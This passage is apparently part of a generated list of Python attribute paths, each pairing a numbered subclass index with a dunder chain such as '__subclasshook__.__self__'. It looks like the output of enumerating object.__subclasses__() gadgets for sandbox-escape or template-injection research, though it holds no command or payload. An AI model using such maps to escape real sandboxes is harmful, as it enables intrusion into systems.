"Subclass 105: ..__subclasshook__.__self__.resource_path", "Subclass 95: ..__len__.__get__.__objclass__", "Subclass 198: ..create_module.__setattr__.__self__", "Subclass 172: .._make_unbound_method.__reduce__.__self__", "Subclass 94: ..get_resource_reader.__reduce__.__self__", "Subclass 109: ..__exit__.__gt__.__self__", "Subclass 183: ..checklookbehindgroup.__get__.__objclass__", "Subclass 164: ..repr_instance.__ne__.__self__", "Subclass 172: ..__class_getitem__.__self__.__get__", "Subclass 134: ..__repr__.__init_subclass__.__self__", "Subclass 96: ..__init__.__init__.__self__", "Subclass 94: ..__eq__.__init_subclass__.__self__", "Subclass 136: ..__call__.__call__.__objclass__", "Subclass 137: ..setter.__get__.__objclass__", "Subclass 192: ..__new__.__delattr__.__self__", "Subclass 112: ..__class__.register.__class__", "Subclass 136: ..__repr__.__get__.__self__", "Subclass 110: ..__enter__.__hash__.__self__", "Subclass 137: ..__set__.__get__.__self__", "Subclass 134: ..__init__", "Subclass 164: ..repr_array.__delattr__.__self__", "Subclass 138: ..__next__.__repr__.__self__", "Subclass 135: ..__repr__.__lt__.__self__", "Subclass 94: ..open_resource", "Subclass 104: ..find_loader.__reduce__.__self__", "Subclass 164: ..repr1.__get__.__self__", "Subclass 134: ..__call__.__hash__.__self__", "Subclass 115: ..__class__._abc_registry_clear.__class__", "Subclass 95: ..__weakref__.__objclass__.__contains__", "Subclass 106: ..encode.__delattr__.__self__", "Subclass 177: .._push_exit_callback.__setattr__.__self__", "Subclass 94: ..get_data.__call__.__self__", "Subclass 93: ..__weakref__.__objclass__.create_module", "Subclass 95: ..__setitem__.__ge__.__self__", "Subclass 179: ..__class__.__call__.__class__", "Subclass 138: ..__iter__.__new__.__self__", "Subclass 132: ..__class__.register.__class__", "Subclass 94: ..get_resource_reader.__get__.__objclass__", "Subclass 107: ..__subclasshook__.__self__.setstate", "Subclass 195: ..IO.writelines.__class__", "Subclass 114: ..__hash__.__get__.__objclass__", "Subclass 135: ..__repr__.__call__.__objclass__", "Subclass 132: ..__class__.__instancecheck__.__class__", "Subclass 137: ..__get__.__repr__.__self__", "Subclass 93: ..exec_module.__get__.__self__", "Subclass 82: ..__enter__.__le__.__self__", "Subclass 110: ..__init__.__delattr__.__self__", "Subclass 86: ..module_repr.__eq__.__self__", "Subclass 95: ..__setitem__.__gt__.__self__", "Subclass 98: ..find_module.__new__.__self__", "Subclass 95: ..__init__.__init_subclass__.__self__", "Subclass 177: ..push.__init__.__self__", "Subclass 179: ..__class__._create_.__class__", "Subclass 107: ..getstate.__subclasshook__.__self__", "Subclass 137: ..__init__.__hash__.__self__", "Subclass 138: ..__next__.__class__", "Subclass 95: ..__getitem__.__call__.__self__", "Subclass 164: ..repr_list.__get__.__objclass__", "Subclass 110: ..readline.__get__.__self__", "Subclass 177: ..__init_subclass__.__self__._create_cb_wrapper", "Subclass 198: ..__class__.__subclasscheck__.__class__", "Subclass 175: .._recreate_cm.__sizeof__.__self__", "Subclass 110: ..__iter__.__reduce_ex__.__self__", "Subclass 177: .._create_cb_wrapper", "Subclass 98: ..invalidate_caches.__ge__.__self__", "Subclass 130: ..__class__.register.__class__", "Subclass 164: ..__init__", "Subclass 87: ..__exit__.__repr__.__self__", "Subclass 94: ..__eq__.__new__.__self__", "Subclass 107: ..reset.__subclasshook__.__self__", "Subclass 108: ..__init__.__gt__.__self__", "Subclass 134: ..__weakref__.__objclass__.__repr__", "Subclass 133: ..__iter__.__str__.__self__", "Subclass 87: ..__enter__.__call__.__objclass__", "Subclass 164: ..repr_list.__call__.__objclass__", "Subclass 109: ..read.__format__.__self__", "Subclass 96: ..is_package.__eq__.__self__", "Subclass 105: ..contents.__init__.__self__", "Subclass 108: ..reset.__dir__.__self__", "Subclass 197: ..__class__._abc_caches_clear.__class__", "Subclass 80: ..__subclasshook__.__self__.has_deadlock", "Subclass 109: ..writelines.__dir__.__self__", "Subclass 104: ..get_filename.__init__.__self__", "Subclass 96: ..is_package.__init_subclass__.__self__", "Subclass 110: ..writelines.__setattr__.__self__", "Subclass 108: ..setstate.__le__.__self__", "Subclass 83: ..__repr__.__le__.__self__", "Subclass 110: ..__getattr__.__get__.__objclass__", "Subclass 198: ..__weakref__.__objclass__.load_module", "Subclass 185: ..__subclasshook__.__self__.match", "Subclass 95: ..__repr__", "Subclass 110: ..__iter__.__gt__.__self__", "Subclass 195: ..BinaryIO.fileno", "Subclass 95: ..__iter__.__repr__.__self__", "Subclass 86: ..find_module.__func__.__class__", "Subclass 164: ..repr_instance.__gt__.__self__", "Subclass 98: ..find_loader.__get__.__objclass__", "Subclass 109: ..__enter__.__dir__.__self__", "Subclass 80: ..__repr__.__getattribute__.__self__", "Subclass 140: ..__exit__.__eq__.__self__", "Subclass 137: ..__get__.__get__.__objclass__", "Subclass 173: ..__init__.__le__.__self__", "Subclass 139: ..__init__.__init__.__self__", "Subclass 185: ..error.__le__.__self__", "Subclass 81: ..__repr__.__init__.__self__", "Subclass 87: ..__init_subclass__.__self__.__enter__", "Subclass 87: ..__exit__.__format__.__self__", "Subclass 80: ..acquire.__hash__.__self__", "Subclass 135: .._Printer__setup.__eq__.__self__", "Subclass 84: ..module_repr.__get__.__objclass__", "Subclass 95: ..__weakref__.__objclass__.__init__", "Subclass 93: ..is_package.__gt__.__self__", "Subclass 164: ..repr1.__call__.__objclass__", "Subclass 137: ..__init__.__getattribute__.__self__", "Subclass 104: ..get_code.__dir__.__self__", "Subclass 188: ..__copy__.__getattribute__.__self__", "Subclass 83: ..__eq__.__le__.__self__", "Subclass 107: ..encode.__dir__.__self__", "Subclass 110: ..__iter__.__call__.__objclass__", "Subclass 115: ..__await__.__reduce__.__self__", "Subclass 95: ..__len__.__le__.__self__", "Subclass 185: ..error.__ge__.__self__", "Subclass 197: ..__subclasshook__.__self__.find_module", "Subclass 195: ..BinaryIO.seekable.__class__", "Subclass 96: ..is_package.__lt__.__self__", "Subclass 164: ..repr_tuple.__subclasshook__.__self__", "Subclass 87: ..__enter__.__class__", "Subclass 95: ..__init__.__reduce_ex__.__self__", "Subclass 137: ..getter", "Subclass 198: ..__class__.register", "Subclass 135: ..__init__.__str__.__self__", "Subclass 104: ..get_source.__sizeof__.__self__", "Subclass 95: ..__init__.__new__.__self__", "Subclass 109: ..writelines.__call__.__objclass__", "Subclass 164: ..repr_tuple.__format__.__self__", "Subclass 185: ..seek.__getattribute__.__self__", "Subclass 184: ..__delitem__.__get__.__objclass__", "Subclass 117: ..__class__.register.__class__", "Subclass 114: ..__hash__.__le__.__self__", "Subclass 110: ..__iter__.__repr__.__objclass__", "Subclass 95: ..__repr__.__hash__.__self__", "Subclass 177: ..callback.__str__.__self__", "Subclass 138: ..__next__.__reduce__.__self__", "Subclass 110: ..writelines.__str__.__self__", "Subclass 164: ..repr_set.__le__.__self__", "Subclass 109: ..__next__.__getattribute__.__self__", "Subclass 140: ..__repr__.__new__.__self__", "Subclass 186: ..__init__.__repr__.__self__", "Subclass 86: ..exec_module.__delattr__.__self__", "Subclass 119: ..__iter__.__ge__.__self__", "Subclass 164: ..repr_int.__class__", "Subclass 96: ..is_package.__gt__.__self__", "Subclass 164: ..repr_frozenset.__str__.__self__", "Subclass 104: ..get_resource_reader", "Subclass 195: ..TextIO.write.__class__", "Subclass 138: ..throw", "Subclass 173: ..register.__str__.__self__", "Subclass 195: ..TextIO.__exit__", "Subclass 106: ..encode.__str__.__self__", "Subclass 177: .._create_exit_wrapper.__setattr__.__self__", "Subclass 174: ..__get__.__call__.__self__", "Subclass 83: ..__init__.__init__.__self__", "Subclass 137: ..getter.__new__.__self__", "Subclass 137: ..setter.__delattr__.__self__", "Subclass 86: ..exec_module.__init__.__self__", "Subclass 107: ..__init__.__eq__.__self__", "Subclass 184: ..append.__repr__.__self__", "Subclass 93: ..create_module.__format__.__self__", "Subclass 164: ..repr_int.__init__.__self__", "Subclass 137: ..__set__.__lt__.__self__", "Subclass 95: ..__iter__.__getattribute__.__self__", "Subclass 138: ..__iter__.__eq__.__self__", "Subclass 177: ..enter_context.__lt__.__self__", "Subclass 109: ..seek.__delattr__.__self__", "Subclass 95: .._get_parent_path.__reduce_ex__.__self__", "Subclass 107: ..getstate.__call__.__objclass__", "Subclass 172: ..__init__.__new__.__self__", "Subclass 95: ..__repr__.__new__.__self__", "Subclass 179: ..__class__.__new__.__class__", "Subclass 110: ..__enter__.__format__.__self__", "Subclass 81: ..release.__format__.__self__", "Subclass 173: ..__get__.__get__.__self__", "Subclass 80: ..__init__.__reduce_ex__.__self__", "Subclass 104: ..get_resource_reader.__ne__.__self__", "Subclass 164: ..repr_tuple.__repr__.__objclass__", "Subclass 109: ..readline.__init_subclass__.__self__", "Subclass 131: ..__class_getitem__.__self__.__contains__", "Subclass 133: ..__enter__.__setattr__.__self__", "Subclass 192: ..__new__.__gt__.__self__", "Subclass 105: ..__init__.__ge__.__self__", "Subclass 177: ..pop_all.__eq__.__self__", "Subclass 164: ..repr1.__get__.__objclass__", "Subclass 94: ..load_module.__hash__.__self__", "Subclass 107: ..getstate.__format__.__self__", "Subclass 107: ..__init__.__getattribute__.__self__", "Subclass 110: ..__next__.__dir__.__self__", "Subclass 94: ..resource_path.__new__.__self__", "Subclass 80: ..__repr__.__reduce_ex__.__self__", "Subclass 110: ..__next__.__delattr__.__self__", "Subclass 173: ..__get__.__reduce_ex__.__self__", "Subclass 172: ..__repr__.__class__", "Subclass 94: ..__hash__.__str__.__self__", "Subclass 104: ..get_data.__delattr__.__self__", "Subclass 106: ..encode.__eq__.__self__", "Subclass 80: ..has_deadlock", "Subclass 107: ..reset.__call__.__self__", "Subclass 173: ..__get__.__get__.__objclass__", "Subclass 198: ..__class__.__instancecheck__", "Subclass 82: ..__exit__.__gt__.__self__", "Subclass 130: ..__len__.__init__.__self__", "Subclass 185: ..getuntil.__repr__.__objclass__", "Subclass 184: ..__weakref__.__objclass__.getwidth", "Subclass 108: ..getstate.__get__.__objclass__", "Subclass 199: ..__class__.register.__class__", "Subclass 96: ..get_code.__init__.__self__", "Subclass 199: ..resource_path", "Subclass 199: ..__class__.register", "Subclass 82: ..__enter__.__dir__.__self__", "Subclass 109: ..__next__.__dir__.__self__", "Subclass 83: ..__repr__.__lt__.__self__", "Subclass 117: ..__class__.register", "Subclass 104: ..is_package.__str__.__self__", "Subclass 134: ..__init__.__str__.__self__", "Subclass 173: ..__get__.__new__.__self__", "Subclass 83: ..__init__.__new__.__self__", "Subclass 110: ..seek.__call__.__self__", "Subclass 105: ..resource_path.__lt__.__self__", "Subclass 176: ..__init__.__str__.__self__", "Subclass 95: .._recalculate.__new__.__self__", "Subclass 96: ..create_module.__init_subclass__.__self__", "Subclass 109: ..reset.__getattribute__.__self__", "Subclass 198: ..__class__._abc_caches_clear.__class__", "Subclass 81: ..__repr__.__le__.__self__", "Subclass 177: ..enter_context.__subclasshook__.__self__", "Subclass 184: ..dump.__repr__.__objclass__", "Subclass 98: .._fill_cache.__repr__.__objclass__", "Subclass 177: ..enter_context.__init_subclass__.__self__", "Subclass 139: ..__str__.__sizeof__.__self__", "Subclass 175: ..__call__.__getattribute__.__self__", "Subclass 185: ..getwhile.__lt__.__self__", "Subclass 196: ..Pattern.__class__.__init__", "Subclass 81: ..acquire.__ge__.__self__", "Subclass 164: ..__weakref__.__objclass__.repr_deque", "Subclass 177: ..__init__.__repr__.__objclass__", "Subclass 131: ..__contains__.__call__.__self__", "Subclass 177: .._create_exit_wrapper.__hash__.__self__", "Subclass 138: ..__await__.__hash__.__self__", "Subclass 184: ..__repr__.__setattr__.__self__", "Subclass 198: ..create_module.__repr__.__objclass__", "Subclass 186: ..scan", "Subclass 87: ..__exit__.__gt__.__self__", "Subclass 105: ..is_resource.__new__.__self__", "Subclass 173: ..register.__get__.__self__", "Subclass 183: ..checkgroup.__call__.__objclass__", "Subclass 138: ..send.__gt__.__self__", "Subclass 110: ..read", "Subclass 96: ..__init__.__repr__.__objclass__", "Subclass 107: ..getstate.__sizeof__.__self__", "Subclass 183: ..closegroup.__subclasshook__.__self__", "Subclass 96: ..get_code.__class__", "Subclass 98: .._get_spec.__hash__.__self__", "Subclass 138: ..__next__.__init_subclass__.__self__", "Subclass 133: ..__iter__.__le__.__self__", "Subclass 110: ..__init__.__dir__.__self__", 'Global func 1: ..__setattr__.__self__.__class__', "Subclass 95: .._find_parent_path_names.__get__.__objclass__", "Subclass 183: ..checkgroup.__ge__.__self__", "Subclass 134: ..__init__.__get__.__objclass__", "Subclass 184: ..append.__str__.__self__", "Subclass 110: ..read.__repr__.__self__", "Subclass 86: ..module_repr.__gt__.__self__", "Subclass 184: ..getwidth.__str__.__self__", "Subclass 133: ..__subclasshook__.__self__.__enter__", "Subclass 98: ..path_hook.__self__.__init__", "Subclass 109: ..__iter__.__init_subclass__.__self__", "Subclass 198: ..module_repr.__new__.__self__", "Subclass 138: ..__init__.__new__.__self__", "Subclass 172: ..__repr__.__init__.__self__", "Subclass 138: ..send.__subclasshook__.__self__", "Subclass 137: ..__init__.__init__.__self__", "Subclass 183: ..opengroup.__get__.__objclass__", "Subclass 110: ..__init__.__reduce__.__self__", "Subclass 172: .._make_unbound_method.__ge__.__self__", "Subclass 188: ..__deepcopy__.__format__.__self__", "Subclass 183: ..__weakref__.__objclass__.checkgroup", "Subclass 135: .._Printer__setup.__reduce__.__self__", "Subclass 164: .._repr_iterable.__sizeof__.__self__", "Subclass 110: ..seek.__repr__.__self__", "Subclass 94: ..__subclasshook__.__self__.__init__", "Subclass 95: ..__contains__.__reduce__.__self__", "Subclass 177: .._push_exit_callback.__init_subclass__.__self__", "Subclass 104: ..__repr__.__get__.__objclass__", 'Global func 1: ..__hash__.__self__.__class__', "Subclass 188: ..__deepcopy__.__getattribute__.__self__", "Subclass 185: ..get.__ne__.__self__", "Subclass 134: ..__init_subclass__.__self__.__repr__", "Subclass 104: ..__init__.__init_subclass__.__self__", "Subclass 172: ..__repr__.__ne__.__self__", "Subclass 175: ..__call__.__format__.__self__", "Subclass 172: ..__repr__.__str__.__self__", "Subclass 81: ..__init__.__get__.__objclass__", "Subclass 184: ..insert.__new__.__self__", "Subclass 110: ..read.__le__.__self__", "Subclass 134: ..__call__.__get__.__objclass__", "Subclass 164: .._repr_iterable.__init__.__self__", "Subclass 94: ..__hash__.__reduce__.__self__", "Subclass 84: ..module_repr.__call__.__self__", "Subclass 172: ..__init__.__reduce_ex__.__self__", "Subclass 83: ..__repr__.__ne__.__self__", "Subclass 133: ..__iter__.__getattribute__.__self__", "Subclass 82: ..__exit__.__subclasshook__.__self__", "Subclass 134: ..__call__.__gt__.__self__", "Subclass 164: ..repr_str.__format__.__self__", "Subclass 114: ..__hash__.__setattr__.__self__", "Subclass 138: ..__init_subclass__.__self__.__await__", "Subclass 96: ..__init__.__new__.__self__", "Subclass 137: ..deleter.__format__.__self__", "Subclass 95: ..__repr__.__ne__.__self__", "Subclass 109: ..readline.__le__.__self__", "Subclass 133: ..__iter__.__gt__.__self__", "Subclass 95: ..__contains__.__reduce_ex__.__self__", "Subclass 117: ..__aiter__.__getattribute__.__self__", "Subclass 140: ..__exit__.__init__.__self__", "Subclass 133: ..__getattr__.__getattribute__.__self__", "Subclass 109: ..seek.__new__.__self__", "Subclass 98: ..find_loader.__getattribute__.__self__", "Subclass 188: ..__deepcopy__.__ne__.__self__", "Subclass 131: ..__contains__", "Subclass 108: ..setstate.__getattribute__.__self__", "Subclass 81: ..release.__call__.__objclass__", "Subclass 109: ..readlines.__eq__.__self__", "Subclass 185: ..getuntil.__repr__.__self__", "Subclass 179: ..__class__.__iter__", "Subclass 198: ..load_module.__init__.__self__", "Subclass 192: ..__new__.__init_subclass__.__self__", "Subclass 98: ..find_module.__delattr__.__self__", "Subclass 104: ..get_resource_reader.__init_subclass__.__self__", "Subclass 81: ..acquire.__gt__.__self__", "Subclass 164: ..repr_dict.__hash__.__self__", "Subclass 164: ..repr_deque.__getattribute__.__self__", "Subclass 98: ..find_spec.__call__.__objclass__", "Subclass 95: ..__setitem__.__init_subclass__.__self__", "Subclass 138: ..close.__init__.__self__", "Subclass 184: ..__repr__.__str__.__self__", "Subclass 137: ..__weakref__.__objclass__.__init__", "Subclass 175: ..__call__.__hash__.__self__", "Subclass 186: ..scan.__subclasshook__.__self__", "Subclass 172: ..__init__.__get__.__objclass__", "Subclass 198: ..module_repr.__format__.__self__", "Subclass 133: ..__enter__.__ne__.__self__", "Subclass 138: ..close.__str__.__self__", "Subclass 95: ..__subclasshook__.__self__._get_parent_path", "Subclass 139: ..__init__.__get__.__objclass__", "Subclass 198: ..module_repr.__call__.__objclass__", "Subclass 177: ..__init__.__reduce__.__self__", "Subclass 164: ..repr_tuple.__call__.__objclass__", "Subclass 109: ..__iter__.__get__.__self__", "Subclass 183: ..closegroup.__ne__.__self__", "Subclass 92: ..find_module.__func__", "Subclass 172: ..__get__.__init_subclass__.__self__", "Subclass 195: ..TextIO.fileno.__class__", "Subclass 135: ..__init__.__eq__.__self__", "Subclass 139: ..__init__.__sizeof__.__self__", "Subclass 105: ..is_resource.__setattr__.__self__", "Subclass 104: ..get_data.__lt__.__self__", "Subclass 80: ..has_deadlock.__reduce_ex__.__self__", "Subclass 109: ..readline.__delattr__.__self__", "Subclass 135: ..__subclasshook__.__self__._Printer__setup", "Subclass 105: ..contents.__gt__.__self__", "Subclass 80: ..__repr__.__ge__.__self__", "Subclass 109: ..reset.__get__.__self__", "Subclass 177: ..__init__.__dir__.__self__", "Subclass 133: ..__init__.__lt__.__self__", "Subclass 164: ..repr_array.__ne__.__self__", "Subclass 98: ..__init__.__ge__.__self__", "Subclass 132: ..__call__.__init_subclass__.__self__", "Subclass 93: ..exec_module.__hash__.__self__", "Subclass 130: ..__len__.__ne__.__self__", "Subclass 83: ..__init__.__sizeof__.__self__", "Subclass 105: ..contents.__setattr__.__self__", "Subclass 109: ..seek.__repr__.__objclass__", 'Global func 1: ..__gt__.__self__', "Subclass 110: ..__next__.__repr__.__self__", "Subclass 86: ..exec_module.__new__.__self__", "Subclass 140: ..__exit__", "Subclass 184: ..insert.__class__", "Subclass 94: ..is_resource.__hash__.__self__", "Subclass 105: ..__weakref__.__objclass__.is_resource", "Subclass 134: ..__repr__.__sizeof__.__self__", "Subclass 177: ..pop_all.__setattr__.__self__", "Subclass 95: .._recalculate.__dir__.__self__", "Subclass 95: ..__repr__.__ge__.__self__", "Subclass 138: ..__await__.__call__.__objclass__", "Subclass 93: ..is_package.__sizeof__.__self__", "Subclass 98: ..find_loader.__str__.__self__", "Subclass 184: ..__getitem__.__sizeof__.__self__", "Subclass 185: ..tell.__eq__.__self__", "Subclass 133: ..close.__le__.__self__", "Subclass 140: ..__enter__.__call__.__objclass__", "Subclass 109: ..__next__.__lt__.__self__", "Subclass 177: ..push.__call__.__self__", "Subclass 81: ..__init_subclass__.__self__.__init__", "Subclass 109: ..writelines.__format__.__self__", "Subclass 184: ..dump.__sizeof__.__self__", "Subclass 98: ..__init__.__dir__.__self__", "Subclass 133: ..close.__ne__.__self__", "Subclass 172: ..__init__.__call__.__objclass__", "Subclass 96: ..create_module.__str__.__self__", "Subclass 110: ..__getattr__.__format__.__self__", "Subclass 83: ..__subclasshook__.__self__.__eq__", "Subclass 94: ..get_filename.__init__.__self__", "Subclass 96: ..create_module.__ge__.__self__", "Subclass 98: ..path_hook.__self__._get_spec", "Subclass 175: ..__call__.__call__.__self__", "Subclass 110: ..seek.__get__.__objclass__", "Subclass 176: ..__init__.__eq__.__self__", "Subclass 183: ..__subclasshook__.__self__.opengroup", "Subclass 133: ..__getattr__.__get__.__objclass__", "Subclass 117: ..__aiter__.__reduce_ex__.__self__", "Subclass 104: ..__repr__.__eq__.__self__", "Subclass 176: ..__weakref__.__objclass__.__init__", "Subclass 185: ..error.__gt__.__self__", "Subclass 104: ..get_source.__setattr__.__self__", "Subclass 136: ..__repr__.__le__.__self__", "Subclass 172: ..__get__.__reduce__.__self__", "Subclass 184: ..append.__reduce__.__self__", "Subclass 81: ..release.__lt__.__self__", "Subclass 93: ..__weakref__.__objclass__.load_module", "Subclass 114: ..__subclasshook__.__func__.__class__", "Subclass 195: ..IO.seekable", "Subclass 183: ..checkgroup.__gt__.__self__", "Subclass 199: ..resource_path.__ne__.__self__", "Subclass 104: ..get_resource_reader.__setattr__.__self__", "Subclass 108: ..getstate.__str__.__self__", "Subclass 185: ..seek.__subclasshook__.__self__", "Subclass 83: ..__init__.__call__.__objclass__", "Subclass 93: ..__weakref__.__objclass__.is_package", "Subclass 96: ..create_module.__call__.__objclass__", "Subclass 140: ..__enter__.__ge__.__self__", "Subclass 173: ..__get__.__eq__.__self__", "Subclass 175: ..__call__.__reduce_ex__.__self__", "Subclass 177: ..__init__.__setattr__.__self__", "Subclass 132: ..__class__._dump_registry.__class__", "Subclass 98: .._fill_cache.__delattr__.__self__", "Subclass 185: ..get.__init_subclass__.__self__", "Subclass 104: ..__repr__.__reduce_ex__.__self__", "Subclass 198: ..module_repr.__get__.__objclass__", "Subclass 133: ..__init__.__format__.__self__", "Subclass 177: ..__init__.__eq__.__self__", "Subclass 184: ..__getitem__.__init_subclass__.__self__", "Subclass 177: .._create_exit_wrapper.__eq__.__self__", "Subclass 94: ..open_resource.__hash__.__self__", "Subclass 183: ..__init__", "Subclass 80: ..__repr__.__get__.__objclass__", "Subclass 197: ..__class__.__instancecheck__.__class__", "Subclass 96: ..load_module.__le__.__self__", "Subclass 198: ..__class__.__subclasscheck__", "Subclass 183: ..checklookbehindgroup.__call__.__self__", "Subclass 82: ..__exit__.__le__.__self__", "Subclass 184: ..getwidth.__repr__.__objclass__", "Subclass 184: ..__getitem__.__repr__.__objclass__", "Subclass 107: ..__init__.__le__.__self__", "Subclass 164: ..repr_array.__repr__.__self__", "Subclass 81: ..__init__.__get__.__self__", "Subclass 133: ..__getattr__.__subclasshook__.__self__", "Subclass 109: ..write.__sizeof__.__self__", "Subclass 84: ..module_repr.__lt__.__self__", "Subclass 83: ..__init__.__subclasshook__.__self__", "Subclass 195: ..TextIO.writelines.__class__", "Subclass 138: ..close.__get__.__self__", "Subclass 177: .._create_cb_wrapper.__repr__.__self__", "Subclass 104: ..get_code.__getattribute__.__self__", "Subclass 95: ..__len__.__class__", "Subclass 83: ..__repr__.__eq__.__self__", "Subclass 137: ..setter", "Subclass 185: ..getwhile.__format__.__self__", "Subclass 137: ..deleter.__ge__.__self__", "Subclass 137: ..__weakref__.__objclass__.deleter", "Subclass 108: ..getstate.__getattribute__.__self__", "Subclass 136: ..__repr__.__class__", "Subclass 94: ..__weakref__.__objclass__.__init__", "Subclass 109: ..read.__subclasshook__.__self__", "Subclass 140: ..__enter__.__repr__.__objclass__", "Subclass 140: ..__init_subclass__.__self__.__init__", "Subclass 137: ..setter.__sizeof__.__self__", "Subclass 82: ..__exit__.__call__.__self__", "Subclass 172: ..__repr__.__init_subclass__.__self__", "Subclass 96: ..load_module.__class__", "Subclass 137: ..__set__.__subclasshook__.__self__", "Subclass 108: ..setstate", "Subclass 133: ..__iter__.__class__", "Subclass 174: ..__set_name__.__ge__.__self__", "Subclass 164: ..repr_deque.__le__.__self__", "Subclass 137: ..deleter.__sizeof__.__self__", "Subclass 199: ..open_resource.__call__.__self__", "Subclass 197: ..find_module.__reduce_ex__.__self__", "Subclass 184: ..insert.__repr__.__self__", "Subclass 107: ..__init__.__delattr__.__self__", "Subclass 199: ..resource_path.__repr__.__self__", "Subclass 87: ..__exit__.__sizeof__.__self__", "Subclass 199: ..resource_path.__new__.__self__", "Subclass 110: ..__weakref__.__objclass__.seek", "Subclass 119: ..__iter__.__eq__.__self__", "Subclass 98: .._get_spec.__delattr__.__self__", "Subclass 86: ..exec_module.__call__.__objclass__", "Subclass 184: ..__init__.__le__.__self__", "Subclass 199: ..open_resource.__get__.__self__", "Subclass 196: ..Match.__subclasscheck__.__func__", "Subclass 110: ..__next__.__format__.__self__", "Subclass 80: ..has_deadlock.__str__.__self__", "Subclass 109: ..read", "Subclass 135: ..__init__.__repr__.__self__", "Subclass 93: ..exec_module.__dir__.__self__", "Subclass 110: ..writelines.__ne__.__self__", "Subclass 83: ..__eq__.__str__.__self__", "Subclass 108: ..setstate.__lt__.__self__", "Subclass 98: ..find_spec.__gt__.__self__", "Subclass 198: ..load_module.__sizeof__.__self__", "Subclass 104: ..get_source.__getattribute__.__self__", "Subclass 188: ..__copy__.__new__.__self__", "Subclass 133: ..__iter__.__get__.__self__", "Subclass 177: ..callback.__hash__.__self__", "Subclass 185: ..get.__subclasshook__.__self__", "Subclass 137: ..getter.__repr__.__objclass__", "Subclass 184: ..__setitem__.__ne__.__self__", "Subclass 110: ..reset.__le__.__self__", "Subclass 95: ..__iter__.__init__.__self__", "Subclass 110: ..read.__new__.__self__", "Subclass 164: ..repr_set.__get__.__objclass__", "Subclass 195: ..TextIO.__init_subclass__.__func__", "Subclass 132: ..__call__.__format__.__self__", "Subclass 95: ..__setitem__.__get__.__objclass__", "Subclass 188: ..__copy__.__reduce__.__self__", "Subclass 134: ..__init__.__init__.__self__", "Subclass 192: ..__subclasshook__.__self__.__new__", "Subclass 110: ..reset.__ge__.__self__", "Subclass 109: ..writelines.__le__.__self__", "Subclass 94: ..resource_path.__eq__.__self__", "Subclass 137: ..__init__.__str__.__self__", "Subclass 83: ..__eq__.__dir__.__self__", "Subclass 185: ..match.__eq__.__self__", "Subclass 119: ..__class__.__new__.__class__", "Subclass 96: ..__init__.__init_subclass__.__self__", "Subclass 98: ..__repr__.__repr__.__objclass__", "Subclass 177: ..push.__getattribute__.__self__", "Subclass 108: ..decode.__subclasshook__.__self__", "Subclass 175: .._recreate_cm.__eq__.__self__", "Subclass 175: .._recreate_cm.__le__.__self__", "Subclass 177: ..pop_all.__sizeof__.__self__", "Subclass 94: ..get_resource_reader", "Subclass 184: ..__getitem__.__call__.__self__", "Subclass 106: ..encode.__reduce_ex__.__self__", "Subclass 184: ..__subclasshook__.__self__.__len__", "Subclass 132: ..__call__.__subclasshook__.__self__", "Subclass 183: ..checkgroup.__lt__.__self__", "Subclass 94: ..is_resource.__le__.__self__", "Subclass 106: ..encode.__get__.__objclass__", "Subclass 164: ..__init__.__ge__.__self__", "Subclass 80: ..acquire.__get__.__self__", "Subclass 140: ..__init__.__format__.__self__", "Subclass 133: ..close.__gt__.__self__", "Subclass 104: ..__init__.__lt__.__self__", "Subclass 104: ..is_package.__repr__.__self__", "Subclass 110: ..__next__.__class__", "Subclass 95: ..__getitem__.__get__.__self__", "Subclass 172: ..__init__.__call__.__self__", "Subclass 185: ..error.__sizeof__.__self__", "Subclass 87: ..__exit__.__str__.__self__", "Subclass 199: ..resource_path.__ge__.__self__", "Subclass 94: ..load_module.__gt__.__self__", "Subclass 96: ..__init__.__eq__.__self__", "Subclass 184: ..append.__reduce_ex__.__self__", "Subclass 131: ..__contains__.__call__.__objclass__", "Subclass 164: ..repr_list", "Subclass 199: ..open_resource.__init__.__self__", "Subclass 80: ..acquire.__gt__.__self__", "Subclass 132: ..__subclasshook__.__self__.__call__", "Subclass 133: ..__enter__.__hash__.__self__", "Subclass 86: ..module_repr.__call__.__self__", "Subclass 95: ..__getitem__.__eq__.__self__", "Subclass 80: ..acquire.__getattribute__.__self__", "Subclass 192: ..__new__.__ne__.__self__", "Subclass 137: ..__delete__.__init__.__self__", "Subclass 81: ..acquire.__str__.__self__", "Subclass 138: ..close.__getattribute__.__self__", "Subclass 104: ..get_source", "Subclass 115: ..__await__.__subclasshook__.__self__", "Subclass 138: ..throw.__str__.__self__", "Subclass 110: ..__init__.__le__.__self__", "Subclass 140: ..__init__.__sizeof__.__self__", "Subclass 106: ..decode.__class__", "Subclass 185: .._Tokenizer__next.__repr__.__objclass__", "Subclass 94: ..contents.__init_subclass__.__self__", "Subclass 133: ..close.__str__.__self__", "Subclass 98: ..find_loader.__dir__.__self__", "Subclass 177: .._push_cm_exit.__le__.__self__", "Subclass 95: ..__setitem__.__call__.__self__", "Subclass 135: .._Printer__setup.__get__.__objclass__", "Subclass 164: ..__weakref__.__objclass__.repr", "Subclass 80: ..release.__call__.__self__", "Subclass 109: ..readlines.__setattr__.__self__", "Subclass 195: ..TextIO.writelines", "Subclass 185: ..tell.__format__.__self__", "Subclass 184: ..getwidth.__subclasshook__.__self__", "Subclass 139: ..__init__.__dir__.__self__", "Subclass 95: .._find_parent_path_names.__ne__.__self__", "Subclass 95: ..__init__.__ne__.__self__", "Subclass 83: ..__repr__.__class__", "Subclass 174: ..__get__.__reduce_ex__.__self__", "Subclass 109: ..read.__lt__.__self__", "Subclass 84: ..load_module.__self__.module_repr", "Subclass 81: ..release.__getattribute__.__self__", "Subclass 104: ..__init_subclass__.__self__.__init__", 'Global func 1: ..__repr__.__self__', "Subclass 96: ..__init_subclass__.__self__.get_source", "Subclass 196: ..Pattern.__class__.__reduce__", "Subclass 164: .._repr_iterable.__le__.__self__", "Subclass 164: ..repr_str.__delattr__.__self__", "Subclass 196: ..Pattern.__getitem__.__wrapped__", "Subclass 174: ..__set_name__.__str__.__self__", "Subclass 133: ..__init_subclass__.__self__.__getattr__", "Subclass 95: ..__contains__.__delattr__.__self__", "Subclass 192: ..__new__.__ge__.__self__", "Subclass 109: ..__next__.__get__.__self__", "Subclass 173: ..__init__.__dir__.__self__", "Subclass 94: ..is_resource.__init__.__self__", "Subclass 136: ..__call__.__gt__.__self__", "Subclass 138: ..__next__", "Subclass 104: ..get_filename.__call__.__self__", "Subclass 109: ..__iter__.__new__.__self__", "Subclass 164: ..repr_dict.__class__", "Subclass 112: ..__class__._dump_registry.__class__", "Subclass 95: ..__getitem__.__dir__.__self__", "Subclass 132: ..__call__.__repr__.__objclass__", "Subclass 83: ..__eq__", "Subclass 185: 